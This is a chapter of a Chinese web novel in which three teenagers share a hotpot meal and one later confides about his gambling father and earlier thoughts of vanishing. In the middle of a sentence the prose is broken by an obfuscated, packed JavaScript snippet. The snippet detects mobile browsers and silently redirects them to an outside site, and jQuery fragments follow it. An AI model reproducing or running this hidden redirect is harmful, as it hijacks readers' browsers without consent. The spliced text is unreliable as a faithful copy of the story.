韩洋说完那句话，身体不受控制一晃，右脚往旁边挪了一小步。霍黎出于本能伸手扶住他的手臂。韩洋的衣服单薄，霍黎能清晰地感知到手肘处凸起的骨骼。


    怎么这么瘦？


    这是霍黎当下的想法，他的手掌几乎能圈住韩洋的手臂。他心里的火像被浇下一盆冷水，把他的身体都浇凉了。韩洋一直低着头，霍黎看不到他的眼睛，鼻尖下是苍白的嘴唇，快和他脸一样白。


    霍黎看见韩洋的双唇张开一个细微的口子，于是他听到一声飘忽的叹息。


    霍黎皱起眉，“你是不是生病了？”


    韩洋抬头，看他，“没。”


    霍黎想起医生说的话，才几天没见，韩洋看起来比之前还瘦，“你没吃饭。”


    韩洋又叹了口气，还没开口被俞晔晨抢先了。


    “本来是要吃饭的，但是韩洋听到有人要拿书给他，而且还迷路了，饭都没吃就下来了。”俞晔晨话里的阴阳怪气都快溢出来了，“谁知道还要遭一顿责怪，现在更没胃口。”


    霍黎顿时觉得尴尬，他本意不是要责怪谁，他就是气。但深究起来他气啥，也说不清楚。


    “对不起啊。”霍黎的声音变得柔和了一些，“我刚才太着急，你不回我消息，我爸也联系不上你，以为你出了什么事。”


    他拉着韩洋的手臂晃了晃，这是个无意识的动作，霍黎做错事，跟爷爷奶奶卖乖的时候也会做这个动作。


    这个动作落在韩洋眼里，有些孩子气，让他好像没那么自责，“你不用跟我道歉，是我先骗你的。”


    “我要是有那种爸，我也宁愿他死了好。”霍黎表现出和韩洋站在同一战线的态度。韩洋家里的情况基本跟他一个人生活没区别，“我是把你当朋友，你要有什么事可以跟我说。”


    霍黎看了眼旁边的俞晔晨，俞晔晨歪着头回看他。


    韩洋点点头，“好。”


    “打扰你吃饭，我补一餐给你，你想吃什么？这附近你熟吧，你带路。”霍黎又瞟了一眼俞晔晨，“你也可以来，多一张嘴我能负担得起。”


    这一片小区是老厂的居民区，不缺饭馆什么的，只是环境堪忧。霍黎已经抽了三次纸巾，把他面前这一小块擦了个干净。


    “没让你这个少爷吃上五星级米其林真是委屈你了。”俞晔晨把摞在桌上的碗分给韩洋一只，又给他递了一双筷子。


    霍黎把纸巾揉成一团，扔进脚边的垃圾桶，“纠正一下，米其林只有一二三星。”


    俞晔晨“呵”了一声，表示并不想听他说话，到调料台弄小料去了。


    霍黎朝韩洋看了一眼，韩洋坐在他的右手边，把三个杯子并排放在一起，每一杯都倒上橙子味的北冰洋，然后把左手边的那一杯分给他。


    “你别听他胡说八道，”霍黎想起他跟俞晔晨的对话，怕韩洋误会，又跟他生了嫌隙，“我就是有点洁癖，没办法改。三轮车推出来的烧烤，我也经常吃。”当然是他小时候背着家里人偷偷吃的。


    在霍家，对霍黎的饮食管控比任何一方面都严格，别的孩子吃五毛一根辣条的时候，他也只能坐在车里眼巴巴的看着，回家吃雯姨为他准备的营养餐。


    到了再大一点，不再那么好骗，也学会了骗人之后，他偷偷和朋友吃了一次路边摊的烧烤，就像打开了新世界的大门。哪怕是五星级酒店的大厨，还是米其林三星的顶尖主厨，此刻都不上在路边一边烤肉一边吆喝的老板。


    “下次你带我尝一尝。”


    这似乎是韩洋第一次主动邀请他。


    霍黎来劲儿了，“不过有点远，老板以前是骑三轮出摊，现在好像居民楼下面，在一中的附近。”


    “一中附近，哪儿？”俞晔晨端了两碗调料回来，放了一碗在韩洋面前，小碗里盖满了香菜。俞晔晨坐下后接着说：“我一中的，在哪儿，没准儿我吃过。”


    霍黎卡壳了一下，答不上来。他每次都是跟同一个人去的，当初那个烧烤摊也没个招牌，搬进店面他也是听那个人说的，他和那个人很久没有联系了，只记得老板姓王。


    “王……”霍黎的脑子飞速运转着，帮那家烧烤店临时想个名字。


    “王记烧烤？”


    不管是不是，霍黎直接应了声“对”。


    俞晔晨做出一副十分懂行的表情，“那家我也经常吃，离我们学校不远。”


    霍黎问：“你一中的？”


    俞晔晨应了一声“嗯”。


    “难怪上次在实验中学没见到你。”霍黎又看了一眼韩洋，韩洋完全没想参与他们的话题，开了一罐香油倒进调料碗里，搅和均匀，每一片香菜叶上都沾了晶莹剔透的油光。


    他把韩洋拉进话题里，“我以为你们一个学校的，韩洋跟你关系挺好。”


    韩洋顺着他的话说：“我和俞晔晨认识很久了。”


    俞晔晨好奇：“你去实验中学干什么？”


    他总不能说他去别人学校找人PK去了，虽然结果是赢了，但事后回想，又会变成一段青春期的黑历史。


    “你猜。”


    他不管俞晔晨一副想揍人的表情，拿着碗到调料台，他调料最简单，一勺小米辣一勺耗油，然后再倒上香油。他不吃葱不吃蒜也不吃香菜，不喜欢在嘴里留下味道的调料。


    回到座位，俞晔晨看他笑得不怀好意，最后干脆不掩饰放声大笑。霍黎把目光移到韩洋身上，韩洋也在笑，不是寻常的微笑，他垂眸，肩膀一抖一抖的。


    霍黎推了一下韩洋，“你不会说出去了吧？”


    韩洋抬头，露出贝齿，眼睛如弯月，不似平时的微笑，而是开怀的、发自内心的笑。


    霍黎本来要发难，这回也跟着笑了。


    “韩洋很少打篮球，所以很少有人知道他很适合打配合。”俞晔晨说，“不过也分人。”


    “意思是我和别人不一样？”霍黎这个问题很刁钻，然而他也得到了想要的答案。


    “对，不一样。”韩洋笑意更浓，“正常人不会选一个看上去完全不会打篮球的人组队。”


    霍黎的表情在瞬息间翻天覆地，“我能怎么办，周围都是他们的人。”


    “你忘了我也是实验中学的，”韩洋提醒道，“不也跟他们一样？”


    “可……可最后你帮我赢了比赛，这就够了。”霍黎给自己挽尊，“你说，你跟他们熟，还是跟我熟？”


    霍黎的每个反问，都让人不知道怎么接。韩洋却回答得从容，“跟你熟。”


    服务员给他们换了鸳鸯锅，是霍黎要求的，清汤用来烫蔬菜。霍黎破罐子破摔，说：“我就是嘴刁，吃不了一点挂油的青菜，怎么了？”


    桌上无人反驳他，互相对视一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416173|183250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼，拿起筷子开干。


    霍黎的眼神偶尔飘到韩洋身上，他发现韩洋吃火锅的速度比平时吃饭快，嘴唇沾上了红油，用纸巾擦掉，又吃了几口，再次沾上红油。


    他的嘴唇和脸颊渐渐有了血色。


    霍黎和俞晔晨约了下一顿去王记烧烤，互相加了联系方式。


    “啧，黎明之前？”俞晔晨盯着霍黎的昵称，皱起了眉。


    俞晔晨的昵称是两个emoji表情，蓝色小鱼和一个太阳。霍黎说：“你这个名字好不到哪去？鱼和太阳是互相对抗的关系，小心烧死你。”


    “操。”俞晔晨笑骂了一声。


    “黎明之前。”韩洋很轻地念着霍黎的昵称。


    霍黎的耳朵精准捕捉到，他问：“你也觉得这个名字不好。”


    灯光落进韩洋的双眸里，他的笑也是带着光的。


    他评价道：“有点中二。”


    霍黎认了：“中二就中二，谁年轻的时候不是个中二少年。”


    火锅店离小区不远，韩洋和俞晔晨走路回去，霍黎直接打车回家。霍黎上车前回头看了眼韩洋。


    韩洋怀里抱着他拿过来的书。


    他叮嘱道：“你要是看这两本还想看别的告诉我。”


    韩洋最后也没忍心告诉他，这两本他已经看过了。


    “再见。”


    “再见。”


    出租车的尾灯消失在路的尽头。


    韩洋脸上的表情顷刻间放松下来，带着一丝疲惫。


    他的表情变化，俞晔晨都看在眼里，“你怎么不告诉他这些天为什么没回他消息。”


    “说什么？我连家里真实的情况都不敢告诉他，他应该是从他爸那里听到的，韩委赌博的事情。”韩洋又变回了清清淡淡的语气。


    “这是什么光彩的事吗？还是我要用自己的悲惨遭遇去博取别人的同情，我不能像一个正常人一样活着吗？”韩洋深吸了一口气，“然后再告诉他，我报警，把自己的亲人送进警察局。”


    眼前的街景染上了水汽，他的世界只剩下很多色块拼接成的模糊画面。


    韩洋低头擦了下眼睛，他说：“我有一句话没骗他，我确实每天都希望韩委彻底从这个世界上消失。”


    俞晔晨的手搭在他的肩膀，他只能用这种方式安慰韩洋。


    “这几天我一直在想，如果他还能苟且，那不如让我消失好了。”


    俞晔晨被他的话吓了一跳，“韩洋！”


    韩洋按住俞晔晨搭在自己肩上的那只手，“放心吧，我现在不会这么想了。”


    他的指腹摩挲着书本的边角，摸到最尖的那处，用力按下去。


    嘶……好痛。


    他把两本书摊开在面前，自嘲地笑了笑，“我现在觉得这个世界挺有意思的，有有意思的人，有意思的事物。”


    “你看韩委为了躲债，东躲西藏，像阴沟里的老鼠一样。为了要钱来求我，得不到就恼羞成怒，像牲口一样。”


    “还有那些要债的人，拿着刀多牛逼啊，可到头来，还是被韩委耍得团团转，一分钱都捞不到。”


    俞晔晨眉心蹙了蹙，语气严肃：“你最好是这么想的。”


    韩洋踹了一下脚下的小石子，那颗小石子咕噜咕噜滚进了路边的下水道。


    “我是这么想的，真的。”